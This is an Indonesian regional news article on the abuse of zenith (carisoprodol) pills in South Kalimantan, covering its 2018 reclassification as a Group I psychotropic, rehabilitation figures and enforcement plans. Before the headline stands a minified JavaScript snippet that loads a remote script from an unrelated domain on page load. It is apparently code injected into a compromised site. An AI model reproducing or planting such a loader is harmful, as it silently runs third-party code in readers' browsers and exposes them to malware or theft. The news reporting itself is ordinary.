(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Susah Payah Mengerem Peredaran Zenith di Kalsel


BANJARBARU, Maraknya peredaran zenith (carnophen) di Kalsel menyebabkan provinsi ini menetapkan status darurat untuk obat ketegori relaksan otot tersebut. Terungkapnya sejumlah kasus dalam skala besar, menunjukkan bahwa peredaran zenith sudah mengakar dan tak mudah untuk ditekan.

Walau demikian, langkah pemerintah memasukkan zenith dalam psikotropika golongan I setara narkotika melalui Peraturan Menteri Kesehatan Nomor 7/2018 diharapkan bisa memberikan shock teraphy bagi pengguna maupun pengedarnya.

Coba saja bayangkan, dari total 1.800 pasien rehabilitasi penyalahgunaan narkoba di Kalsel, tercatat 75 persen adalah pengguna zenith. Begitu juga dari total pencandu narkotika sebanyak 55 ribu orang, didominasi penyalahgunaan obat tersebut.

Yang tak kalah menyesakkan, pada tahun 2017 lalu, Tim Resmob Polda Kalsel berhasil menggerebek gudang penyimpanan pil zenith sebanyak 7 juta butir di sebuah ruko di Jalan A Yani Km 5,5 Banjarmasin Selatan dan di Teluk Tiram sebanyak 4 juta butir.

Dampak berbahaya yang dihasilkan obat zenith ini, membuat izin peredarannya dicabut oleh BPOM dan Kementerian Kesehatan pada tahun 2009. Bahkan pelakunya dikenakan Undang Undang Kesehatan 2009 Nomor 36, apabila kedapatan menggunakann obat keras ini. Namun demikian, hukumannya hanya paling maximal 1 tahun setengah.

Nah, baru-baru ini Kementrian Kesehatan mengeluarkan aturan baru yang menyatakan bahwa pil zenith telah dimasukan dalam golongan I setara narkotika. Tentunya, maraknya peredaran obat keras ini hingga ke pelosok desa, bahkan oleh anak-anak SD, adalah faktor yang membuat pemerintah membuat aturan baru tersebut. Kini, hukumannya pun sama dengan narkotika sabu, untuk pemakai dikenakan pasal 127 maximal 4 tahun penjara. Dan bagi pengedar atau bandar besar itu sampai pada hukuman mati!

Namun demikian, pengguna zenith di wilayah Banjarbaru, Martapura, dan Tanah laut menurun sepanjang awal tahun hingga akhir Maret 2018 ini. Yang meningkat justru penggunaan sabu. Data tersebut disampaikan BNN Banjarbaru.

Dokter Umum BNN Banjarbaru Daryl Alfitri kepada Kanalkalimantan.com mengatakan, selama tahun 2015-2017 pengguna zenith ini memang luar biasa. Mulai orang dewasa, hingga pelajar SD, SMP, maupun SMA. “Pada saat kami buka klinik pada tahun 2015 itu penggunanya sudah kurang lebih 200, lalu pada tahun 2016 kurang lebih 144,” ujarnya.

Darly mengungkapkan, untuk Banjarbaru lebih banyak pengguna dari pada pengedar. Hal ini dikarenakan lokasi kota Banjarbaru berdekatan dengan bandara dan pendatang dari luar wilayah selalu ke kota Banjarbaru. Tercatat tahun 2017, untuk wilayah Banjarbaru Martapura dan Tanah laut, BNN telah menangani 175 pasien, 109-nya adalah pengguna zenith. Sedangkan untuk sabu sebanyak 35 orang, extasi 15 orang, 1 orang tembakau gorilla, dan 4 orang lem fox.

Untuk zenith ini, paling banyak penggunanya 0-19 tahun sekitar 83 orang, 20-24 tahun sebanyak 44 orang,  25-40 tahun sebanyak 41 orang. “Namun triwuan 2018 hingga akhir Maret gejalanya  menurun. Kita mendapati 20 klien. Dimana 8-10 klien adalah pengguna zineth, lemfox, dan destro. Yang meningkat malah sabu,” ujar Daryl.

Daryl berharap naiknya kelas zenith setara dengan golongan 1 narkotika, bisa memberikan efek jera bagi pengguna dan pengedarnya.

Kepala BNN kota Banjarbaru AKBP Sugito menghimbau untuk seluruh masyarakat berhenti menggunakan zenith. “Berhentilah mulai sekarang juga, karna yang dijaring bukan mereka mereka yang mengedarkan tapi pemakai juga akan kena secara hukum dan bagi yang punya keluarga memang sudah ketergantungan obat zenith karnopen, silahkan lapor untuk direhabilitasi tidak dipungut biaya karna dibiayai pemerintah” ungkap AKBP Sugito.

Di sisi lain, Kabid Farmasi Dinkes Kalsel, Akhmad Yani menjelaskan bahwa perubahan gol 1 dari obat yang dimaksudnya ke narkoba sudah dikaji tim BPOM guna memberikan efek jera karena banyaknya penyalahgunaan. “Ya Semua merk obat yang mengandung karisoprodol dicabut izin edarnya (illegal) karena byknya penyalahgunaan. Khasiat untuk karisoprodol sebenarnya masih diperlukan untuk obat tulang (mengurangi sakit). Namun karena penyalahgunaan tadi akhirnya dilarang,” kata dia.

Menurut Akhmad Yani, sejatinya sudah lama dalam obat obatan itu dijual terbatas dan dilarang. Sejak illegal itu mulai 2015. “Jadi apotek sudah tahu dan tidak digunakan lagi difasilitas pelayanan dan kesehatan. Namun kalau yang masuk golongan 1, baru saja dan ini makin dipertegas,” jelasnya beberapa waktu lalu.

Sementara Kadinkes Kalsel, H. M Muslim mrmbenarkan bahwa soal alih golongan untuk obatan obatan itu. “Hasil kajian empirik menunjukkan masalah seperti yang disebutkan di atas, sehingga turunnya PMK No 7 Tahun 2018. Hal itu untuk penanganan yang ebih optimal,” kata dia. Untuk itu, Dinkes akan melakukan sosialisasi dengan memberikan surat edaran ke berbagai kalangan.

Alat Pendeteksi Belum Ada

Meski kini zenith masuk narkotika golongan I berdasarkan peraturan Meneteri Kesehatan Indonesia Nomor 7 Tahun 2018 , tapi pemerintah masih belum memberikan sarana berupa alat pendeteksi penggunaan pil zenith. Dokter Umum BNN Daryl Alfitri  mengungkapkan hingga saat ini belum ada alat pendeteksi untuk mengetahui kandungan zenith.

Namun pihaknya percaya dengan adanya aturan baru ini pemeritah akan memeberikan terobosan  seperti halnya tembakau gorila yang sebelumnya, belum ada alat untuk mendeteksinya namun sekarang telah dibuat alatnya yaitu K2. “Untuk sementara ini belum ada alat yang dapat mendeteksi zenith karnopen, nanti kita tunggu terobosan dari pusat seperti apa, pasti berkembang terus” ujarnya

Perlu diketahui Kalimatan Selatan menjadi sasaran yang mudah karna dulu harga zenith masih murah dan penyalahgunanya yang banyak. Sedangkan pabriknya pengelolahannya berada di luar Kalsel.

Daryl menjelaskan pada tahun 2015-2016 harga zenith berkisar kurang lebih Rp 25-30 ribu selembarnya. Namun pada akhir-akhir akhir ini sudah mencapai Rp 70-100 ribu atau setara dengan sabu.

Mahalnya harga menyebabkan pengguna zenith kalangan pelajar ada yang beralih ke lem fox. Sedangkan pengguna kelas beralih ke sabu karna harganya yang sama. Dampak zenith tergantung dosis seberapa besar dan pemakaiannya berapa lama. Yang paling parah yaitu dapat menggangu psikologis, gampang tersinggung dan gampang marah.

“Bahkan ada klien kami yang mengancam membunuh orang tuanya kalau tidak dikasih uang, jadi ada ketidak stabilan emosi dan membuat dia berani atau nekad seperti itu. Akibatnya yang sudah terganggu psikologisnya kami rujuk ke sambang lihum untuk dirawat inapkan” tambah Daryl.

Kepala BNN kota Banjarbaru AKBP Sugito mengungkapkan setelah munculnya aturan baru dari Kementrian Kesehatan, pihaknya  saat ini terus gencar melakukan sosialisasi ke semua Pusekesmas maupun rumah sakit baik swasta atau dari pemerintah .

“Kami lakukan sosialisasi untuk mengingatkan bahwa saat ini baik pemakai dan pengedar zenith karnopen akan kami tangkap. Kami juga rencananya akan merapatkan aturan baru ini bersama pihak ke polisian” ujarnya. (rico/ammar)

Reporter : Rico, Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

16 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

18 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

19 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

20 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

20 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

24 jam ago

This website uses cookies.